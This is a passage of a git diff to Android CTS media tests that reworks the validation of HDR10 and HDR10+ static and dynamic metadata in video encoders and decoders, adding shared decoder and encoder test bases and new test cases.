android.media.MediaCodecInfo.CodecProfileLevel; import android.media.MediaCodecList; import android.media.MediaExtractor; import android.media.MediaFormat; +import android.media.MediaMuxer; import android.os.Build; +import android.os.Bundle; import android.os.PersistableBundle; import android.os.SystemProperties; import android.util.Log; @@ -590,17 +592,12 @@ class OutputManager { abstract class CodecTestBase { public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q; public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R); - // Checking for CODENAME helps in cases when build version on the development branch isn't - // updated yet but CODENAME is updated. public static final boolean IS_AT_LEAST_T = - ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU) || - ApiLevelUtil.codenameEquals("Tiramisu"); - // TODO (b/223868241) Update the following to check for Build.VERSION_CODES.TIRAMISU once - // TIRAMISU is set correctly + ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU); public static final boolean FIRST_SDK_IS_AT_LEAST_T = - ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2); + ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU); public static final boolean VNDK_IS_AT_LEAST_T = - SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2; + SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU; public static final boolean IS_HDR_EDITING_SUPPORTED = isHDREditingSupported(); private static final String LOG_TAG = CodecTestBase.class.getSimpleName(); enum SupportClass { @@ -609,30 +606,14 @@ abstract class CodecTestBase { CODEC_DEFAULT, // Default codec must support CODEC_OPTIONAL // Codec support is optional } + + static final ArrayList<String> HDR_INFO_IN_BITSTREAM_CODECS = new ArrayList<>(); static final String HDR_STATIC_INFO = - "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01"; - static final String[] HDR_DYNAMIC_INFO = new String[]{ - "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + - "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + - "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + - "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00", - - "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + - "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + - "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + - "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00", - - "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + - "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + - "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + - "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00", - - "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + - "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + - "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + - "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00", - }; - boolean mTestDynamicMetadata = false; + "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d"; + static final String HDR_STATIC_INCORRECT_INFO = + "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d"; + static final HashMap<Integer, String> HDR_DYNAMIC_INFO = new HashMap<>(); + static final HashMap<Integer, String> HDR_DYNAMIC_INCORRECT_INFO = new HashMap<>(); static final String CODEC_PREFIX_KEY = "codec-prefix"; static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix"; static final String MIME_SEL_KEY = "mime-sel"; @@ -788,6 +769,45 @@ abstract class CodecTestBase { mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_PROFILES); mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_PROFILES); mProfileMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES); + + HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_AV1); + HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_AVC); + HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_HEVC); + + HDR_DYNAMIC_INFO.put(0, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + HDR_DYNAMIC_INFO.put(4, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + HDR_DYNAMIC_INFO.put(12, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + HDR_DYNAMIC_INFO.put(22, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + + + HDR_DYNAMIC_INCORRECT_INFO.put(0, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00"); + HDR_DYNAMIC_INCORRECT_INFO.put(4, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 01"); + HDR_DYNAMIC_INCORRECT_INFO.put(12, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 02"); + HDR_DYNAMIC_INCORRECT_INFO.put(22, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 03"); } static int[] combine(int[] first, int[] second) { @@ -1366,6 +1386,12 @@ abstract class CodecTestBase { return Arrays.copyOfRange(tempArray, 0, i); } + void insertHdrDynamicInfo(byte[] info) { + final Bundle params = new Bundle(); + params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info); + mCodec.setParameters(params); + } + boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) { if (inpFormat == null || outFormat == null) return false; String inpMime = inpFormat.getString(MediaFormat.KEY_MIME); @@ -1424,41 +1450,26 @@ abstract class CodecTestBase { } } - void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) { - ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null); - assertNotNull("No HDR static metadata present in format : " + fmt, hdrStaticInfo); - if (!hdrStaticRef.equals(hdrStaticInfo)) { + void validateHDRInfo(MediaFormat fmt, String hdrInfoKey, ByteBuffer hdrInfoRef) { + ByteBuffer hdrInfo = fmt.getByteBuffer(hdrInfoKey, null); + assertNotNull("No " + hdrInfoKey + " present in format : " + fmt, hdrInfo); + if (!hdrInfoRef.equals(hdrInfo)) { StringBuilder refString = new StringBuilder(""); StringBuilder testString = new StringBuilder(""); - byte[] ref = new byte[hdrStaticRef.capacity()]; - hdrStaticRef.get(ref); - byte[] test = new byte[hdrStaticInfo.capacity()]; - hdrStaticInfo.get(test); - for (int i = 0; i < Math.min(ref.length, test.length); i++) { + byte[] ref = new byte[hdrInfoRef.capacity()]; + hdrInfoRef.get(ref); + hdrInfoRef.rewind(); + byte[] test = new byte[hdrInfo.capacity()]; + hdrInfo.get(test); + hdrInfo.rewind(); + for (int i = 0; i < ref.length; i++) { refString.append(String.format("%2x ", ref[i])); - testString.append(String.format("%2x ", test[i])); } - fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" + - "test static info : " + testString); - } - } - - void validateHDRDynamicMetaData(MediaFormat fmt, ByteBuffer hdrDynamicRef) { - ByteBuffer hdrDynamicInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO, null); - assertNotNull("No HDR dynamic metadata present in format : " + fmt, hdrDynamicInfo); - if (!hdrDynamicRef.equals(hdrDynamicInfo)) { - StringBuilder refString = new StringBuilder(""); - StringBuilder testString = new StringBuilder(""); - byte[] ref = new byte[hdrDynamicRef.capacity()]; - hdrDynamicRef.get(ref); - byte[] test = new byte[hdrDynamicInfo.capacity()]; - hdrDynamicInfo.get(test); - for (int i = 0; i < Math.min(ref.length, test.length); i++) { - refString.append(String.format("%2x ", ref[i])); + for (int i = 0; i < test.length; i++) { testString.append(String.format("%2x ", test[i])); } - fail("hdr dynamic info mismatch" + "\n" + "ref dynamic info : " + refString + "\n" + - "test dynamic info : " + testString); + fail(hdrInfoKey + " mismatch in codec " + mCodecName + "\nref info : " + refString + + "\n test info : " + testString); } } @@ -1680,15 +1691,8 @@ class CodecDecoderTestBase extends CodecTestBase { int height = format.getInteger(MediaFormat.KEY_HEIGHT); int stride = format.getInteger(MediaFormat.KEY_STRIDE); mOutputBuff.checksum(buf, info.size, width, height, stride, bytesPerSample); - - if (mTestDynamicMetadata) { - validateHDRDynamicMetaData(mCodec.getOutputFormat(), ByteBuffer - .wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount]))); - - } } } - if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) { mSawOutputEOS = true; } @@ -1808,57 +1812,18 @@ class CodecDecoderTestBase extends CodecTestBase { mCodec.release(); mExtractor.release(); } - - void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic, - boolean ignoreContainerStaticInfo) - throws IOException, InterruptedException { - mOutputBuff = new OutputManager(); - MediaFormat format = setUpSource(parent, name); - if (ignoreContainerStaticInfo) { - format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO); - } - mCodec = MediaCodec.createByCodecName(mCodecName); - configureCodec(format, true, true, false); - mCodec.start(); - doWork(10); - queueEOS(); - waitForAllOutputs(); - validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic); - mCodec.stop(); - mCodec.release(); - mExtractor.release(); - } - - void validateHDRDynamicMetaData(String parent, String name, boolean ignoreContainerDynamicInfo) - throws IOException, InterruptedException { - mOutputBuff = new OutputManager(); - MediaFormat format = setUpSource(parent, name); - if (ignoreContainerDynamicInfo) { - format.removeKey(MediaFormat.KEY_HDR10_PLUS_INFO); - } - mCodec = MediaCodec.createByCodecName(mCodecName); - configureCodec(format, true, true, false); - mCodec.start(); - doWork(10); - queueEOS(); - waitForAllOutputs(); - mCodec.stop(); - mCodec.release(); - mExtractor.release(); - } } class CodecEncoderTestBase extends CodecTestBase { private static final String LOG_TAG = CodecEncoderTestBase.class.getSimpleName(); // files are in WorkDir.getMediaDirString(); - private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw"; - private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv"; + protected static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw"; + protected static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv"; protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw"; protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv"; - - private final int INP_FRM_WIDTH = 352; - private final int INP_FRM_HEIGHT = 288; + protected final int INP_FRM_WIDTH = 352; + protected final int INP_FRM_HEIGHT = 288; final String mMime; final int[] mBitrates; @@ -2217,3 +2182,241 @@ class CodecEncoderTestBase extends CodecTestBase { return cdtb.mOutputBuff.getBuffer(); } } + +class HDRDecoderTestBase extends CodecDecoderTestBase { + private static final String LOG_TAG = HDRDecoderTestBase.class.getSimpleName(); + + private ByteBuffer mHdrStaticInfoRef; + private ByteBuffer mHdrStaticInfoStream; + private ByteBuffer mHdrStaticInfoContainer; + private Map<Integer, String> mHdrDynamicInfoRef; + private Map<Integer, String> mHdrDynamicInfoStream; + private Map<Integer, String> mHdrDynamicInfoContainer; + private String mHdrDynamicInfoCurrent; + + public HDRDecoderTestBase(String decoder, String mime, String testFile) { + super(decoder, mime, testFile); + } + + void enqueueInput(int bufferIndex) { + if (mHdrDynamicInfoContainer != null && mHdrDynamicInfoContainer.containsKey(mInputCount) && + mExtractor.getSampleSize() != -1) { + insertHdrDynamicInfo( + loadByteArrayFromString(mHdrDynamicInfoContainer.get(mInputCount))); + } + super.enqueueInput(bufferIndex); + } + + void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) { + if (info.size > 0 && mHdrDynamicInfoRef != null) { + MediaFormat format = mCodec.getOutputFormat(bufferIndex); + if (mHdrDynamicInfoRef.containsKey(mOutputCount)) { + mHdrDynamicInfoCurrent = mHdrDynamicInfoRef.get(mOutputCount); + } + validateHDRInfo(format, MediaFormat.KEY_HDR10_PLUS_INFO, + ByteBuffer.wrap(loadByteArrayFromString(mHdrDynamicInfoCurrent))); + } + super.dequeueOutput(bufferIndex, info); + } + + void validateHDRInfo(String hdrStaticInfoStream, String hdrStaticInfoContainer, + Map<Integer, String> hdrDynamicInfoStream, + Map<Integer, String> hdrDynamicInfoContainer) throws IOException, + InterruptedException { + mHdrStaticInfoStream = hdrStaticInfoStream != null ? + ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null; + mHdrStaticInfoContainer = hdrStaticInfoContainer != null ? + ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null; + mHdrStaticInfoRef = mHdrStaticInfoStream == null ? mHdrStaticInfoContainer : + mHdrStaticInfoStream; + mHdrDynamicInfoStream = hdrDynamicInfoStream; + mHdrDynamicInfoContainer = hdrDynamicInfoContainer; + mHdrDynamicInfoRef = hdrDynamicInfoStream == null ? hdrDynamicInfoContainer : + hdrDynamicInfoStream; + + assertTrue("reference hdr10/hdr10+ info is not supplied for validation", + mHdrDynamicInfoRef != null || mHdrStaticInfoRef != null); + + if (mHdrDynamicInfoStream != null || mHdrDynamicInfoContainer != null) { + Assume.assumeNotNull("Test is only applicable to codecs that have HDR10+ profiles", + mProfileHdr10PlusMap.get(mMime)); + } + if (mHdrStaticInfoStream != null || mHdrStaticInfoContainer != null) { + Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles", + mProfileHdr10Map.get(mMime)); + } + + File fObj = new File(mTestFile); + String parent = fObj.getParent(); + if (parent != null) parent += File.separator; + else parent = mInpPrefix; + Preconditions.assertTestFileExists(parent + fObj.getName()); + // For decoders, if you intend to supply hdr10+ info using external means like json, make + // sure that info that is being supplied is in sync with SEI info + if (mHdrDynamicInfoStream != null && mHdrDynamicInfoContainer != null) { + assertEquals("Container hdr10+ info size and elementary stream SEI hdr10+ " + + "info size are unequal", mHdrDynamicInfoStream.size(), + mHdrDynamicInfoContainer.size()); + for (Map.Entry<Integer, String> element : mHdrDynamicInfoStream.entrySet()) { + assertTrue("Container hdr10+ info and elementary stream SEI hdr10+ " + + "info frame positions are not in sync", + mHdrDynamicInfoContainer.containsKey(element.getKey())); + } + } + mOutputBuff = new OutputManager(); + MediaFormat format = setUpSource(parent, fObj.getName()); + if (mHdrDynamicInfoStream != null || mHdrDynamicInfoContainer != null) { + format.setInteger(MediaFormat.KEY_PROFILE, mProfileHdr10PlusMap.get(mMime)[0]); + } else { + format.setInteger(MediaFormat.KEY_PROFILE, mProfileHdr10Map.get(mMime)[0]); + } + ArrayList<MediaFormat> formatList = new ArrayList<>(); + formatList.add(format); + Assume.assumeTrue(mCodecName + " does not support HDR10/HDR10+ profile", + areFormatsSupported(mCodecName, mMime, formatList)); + mCodec = MediaCodec.createByCodecName(mCodecName); + configureCodec(format, false, true, false); + mCodec.start(); + doWork(Integer.MAX_VALUE); + queueEOS(); + waitForAllOutputs(); + if (mHdrStaticInfoRef != null) { + validateHDRInfo(mCodec.getOutputFormat(), MediaFormat.KEY_HDR_STATIC_INFO, + mHdrStaticInfoRef); + } + mCodec.stop(); + mCodec.release(); + mExtractor.release(); + } +} + +class HDREncoderTestBase extends CodecEncoderTestBase { + private static final String LOG_TAG = HDREncoderTestBase.class.getSimpleName(); + + private ByteBuffer mHdrStaticInfo; + private Map<Integer, String> mHdrDynamicInfo; + + private MediaMuxer mMuxer; + private int mTrackID = -1; + + public HDREncoderTestBase(String encoderName, String mediaType, int bitrate, int width, + int height) { + super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height}); + } + + void enqueueInput(int bufferIndex) { + if (mHdrDynamicInfo != null && mHdrDynamicInfo.containsKey(mInputCount)) { + insertHdrDynamicInfo(loadByteArrayFromString(mHdrDynamicInfo.get(mInputCount))); + } + super.enqueueInput(bufferIndex); + } + + void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) { + MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex); + if (info.size > 0) { + ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex); + if (mMuxer != null) { + if (mTrackID == -1) { + mTrackID = mMuxer.addTrack(bufferFormat); + mMuxer.start(); + } + mMuxer.writeSampleData(mTrackID, buf, info); + } + } + super.dequeueOutput(bufferIndex, info); + } + + void validateHDRInfo(String hdrStaticInfo, Map<Integer, String> hdrDynamicInfo) + throws IOException, InterruptedException { + mHdrStaticInfo = hdrStaticInfo != null ? + ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfo)) : null; + mHdrDynamicInfo = hdrDynamicInfo; + + setUpParams(1); + + MediaFormat format = mFormats.get(0); + format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010); + format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED); + format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020); + format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084); + int profile = (mHdrDynamicInfo != null) ? mProfileHdr10PlusMap.get(mMime)[0] : + mProfileHdr10Map.get(mMime)[0]; + format.setInteger(MediaFormat.KEY_PROFILE, profile); + + if (mHdrStaticInfo != null) { + format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, mHdrStaticInfo); + } + Assume.assumeTrue(mCodecName + " does not support HDR10/HDR10+ profile " + profile, + areFormatsSupported(mCodecName, mMime, mFormats)); + Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010", + hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010)); + + mBytesPerSample = 2; + setUpSource(INPUT_VIDEO_FILE_HBD); + + int frameLimit = 4; + if (mHdrDynamicInfo != null) { + Integer lastHdr10PlusFrame = + Collections.max(HDR_DYNAMIC_INFO.entrySet(), Map.Entry.comparingByKey()) + .getKey(); + frameLimit = lastHdr10PlusFrame + 10; + } + int maxNumFrames = mInputData.length / (INP_FRM_WIDTH * INP_FRM_HEIGHT * mBytesPerSample); + assertTrue("HDR info tests require input file with at least " + frameLimit + + " frames. " + INPUT_VIDEO_FILE_HBD + " has " + maxNumFrames + " frames.", + frameLimit <= maxNumFrames); + + mOutputBuff = new OutputManager(); + mCodec = MediaCodec.createByCodecName(mCodecName); + File tmpFile; + int muxerFormat; + if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) { + muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM; + tmpFile = File.createTempFile("tmp10bit", ".webm"); + } else { + muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4; + tmpFile = File.createTempFile("tmp10bit", ".mp4"); + } + mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat); + configureCodec(format, true, true, true); + mCodec.start(); + doWork(frameLimit); + queueEOS(); + waitForAllOutputs(); + if (mTrackID != -1) { + mMuxer.stop(); + mTrackID = -1; + } + if (mMuxer != null) { + mMuxer.release(); + mMuxer = null; + } + String log = String.format("format: %s \n codec: %s:: ", format, mCodecName); + assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError()); + assertTrue(log + "no input sent", 0 != mInputCount); + assertTrue(log + "output received", 0 != mOutputCount); + + MediaFormat fmt = mCodec.getOutputFormat(); + + mCodec.stop(); + mCodec.release(); + if (mHdrStaticInfo != null) { + // verify if the out fmt contains HDR Static info as expected + validateHDRInfo(fmt, MediaFormat.KEY_HDR_STATIC_INFO, mHdrStaticInfo); + } + + // verify if the muxed file contains HDR Dynamic info as expected + MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS); + String decoder = codecList.findDecoderForFormat(format); + assertNotNull("Device advertises support for encoding " + format + " but not decoding it", + decoder); + + HDRDecoderTestBase decoderTest = new HDRDecoderTestBase(decoder, mMime, + tmpFile.getAbsolutePath()); + decoderTest.validateHDRInfo(hdrStaticInfo, hdrStaticInfo, mHdrDynamicInfo, mHdrDynamicInfo); + if (HDR_INFO_IN_BITSTREAM_CODECS.contains(mMime)) { + decoderTest.validateHDRInfo(hdrStaticInfo, null, mHdrDynamicInfo, null); + } + tmpFile.delete(); + } +} diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java index 3dd28aa48c3..4994a9bc987 100644 --- a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java +++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java @@ -22,6 +22,8 @@ import android.os.Build; import androidx.test.filters.SdkSuppress; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.CddTest; + import org.junit.Assume; import org.junit.Test; import org.junit.runner.RunWith; @@ -29,34 +31,34 @@ import org.junit.runners.Parameterized; import java.io.IOException; import java.nio.ByteBuffer; -import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.List; +import java.util.Map; /** - * Test to validate hdr static metadata in decoders + * Test to validate hdr static info in decoders */ @RunWith(Parameterized.class) // P010 support was added in Android T, hence limit the following tests to Android T and above @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu") -public class DecoderHDRInfoTest extends CodecDecoderTestBase { +public class DecoderHDRInfoTest extends HDRDecoderTestBase { private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName(); - private static final String HDR_STATIC_INFO = - "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d"; - private static final String HDR_STATIC_INCORRECT_INFO = - "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d"; - private final ByteBuffer mHDRStaticInfoStream; - private final ByteBuffer mHDRStaticInfoContainer; + private String mHDRStaticInfoStream; + private String mHDRStaticInfoContainer; + private Map<Integer, String> mHDRDynamicInfoStream; + private Map<Integer, String> mHDRDynamicInfoContainer; public DecoderHDRInfoTest(String codecName, String mediaType, String testFile, - String hdrStaticInfoStream, String hdrStaticInfoContainer) { + String hdrStaticInfoStream, String hdrStaticInfoContainer, + Map<Integer, String> HDRDynamicInfoStream, + Map<Integer, String> HDRDynamicInfoContainer) { super(codecName, mediaType, testFile); - mHDRStaticInfoStream = hdrStaticInfoStream != null ? - ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null; - mHDRStaticInfoContainer = hdrStaticInfoContainer != null ? - ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null; + mHDRStaticInfoStream = hdrStaticInfoStream; + mHDRStaticInfoContainer = hdrStaticInfoContainer; + mHDRDynamicInfoStream = HDRDynamicInfoStream; + mHDRDynamicInfoContainer = HDRDynamicInfoContainer; } @Parameterized.Parameters(name = "{index}({0}_{1})") @@ -65,64 +67,50 @@ public class DecoderHDRInfoTest extends CodecDecoderTestBase { final boolean needAudio = false; final boolean needVideo = true; final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{ - // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container + // codecMediaType, testFile, hdrStaticInfo in stream, hdrStaticInfo in container, + // hdrDynamicInfo in stream, hdrDynamicInfo in container {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv", - HDR_STATIC_INFO, HDR_STATIC_INFO}, + HDR_STATIC_INFO, HDR_STATIC_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv", - HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO}, + HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv", - HDR_STATIC_INFO, null}, + HDR_STATIC_INFO, null, null, null}, {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv", - null, HDR_STATIC_INFO}, + null, HDR_STATIC_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv", - null, HDR_STATIC_INFO}, + null, HDR_STATIC_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv", - HDR_STATIC_INFO, HDR_STATIC_INFO}, + HDR_STATIC_INFO, HDR_STATIC_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv", - HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO}, + HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv", - HDR_STATIC_INFO, null}, + HDR_STATIC_INFO, null, null, null}, {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv", - null, HDR_STATIC_INFO}, + null, HDR_STATIC_INFO, null, null}, + {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10plus_hevc.mp4", + null, null, HDR_DYNAMIC_INFO, null}, + {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10plus_hevc.mp4", + null, null, HDR_DYNAMIC_INFO, HDR_DYNAMIC_INCORRECT_INFO}, + {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10plus_av1.mkv", + null, null, HDR_DYNAMIC_INFO, null}, + {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10plus_av1.mkv", + null, null, HDR_DYNAMIC_INFO, HDR_DYNAMIC_INCORRECT_INFO}, + {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv", + null, null, null, HDR_DYNAMIC_INFO}, + }); return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false); } @SmallTest @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS) - public void testHDRMetadata() throws IOException, InterruptedException { - int[] Hdr10Profiles = mProfileHdr10Map.get(mMime); - Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles", - Hdr10Profiles); - MediaFormat format = setUpSource(mTestFile); - mExtractor.release(); - ArrayList<MediaFormat> formats = new ArrayList<>(); - formats.add(format); - - // When HDR metadata isn't present in the container, but included in the bitstream, - // extractors may not be able to populate HDR10/HDR10+ profiles correctly. - // In such cases, override the profile - if (mHDRStaticInfoContainer == null && mHDRStaticInfoStream != null) { - int profile = Hdr10Profiles[0]; - format.setInteger(MediaFormat.KEY_PROFILE, profile); - } - Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats)); - - if (mHDRStaticInfoContainer != null) { - validateHDRStaticMetaData(format, mHDRStaticInfoContainer); - } - - validateHDRStaticMetaData(mInpPrefix, mTestFile, - mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream, - false); - if (mHDRStaticInfoStream != null) { - if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) { - validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true); - } - } + @CddTest(requirements = {"5.3.5/C-3-1", "5.3.7/C-4-1", "5.3.9"}) + public void testHDRInfo() throws 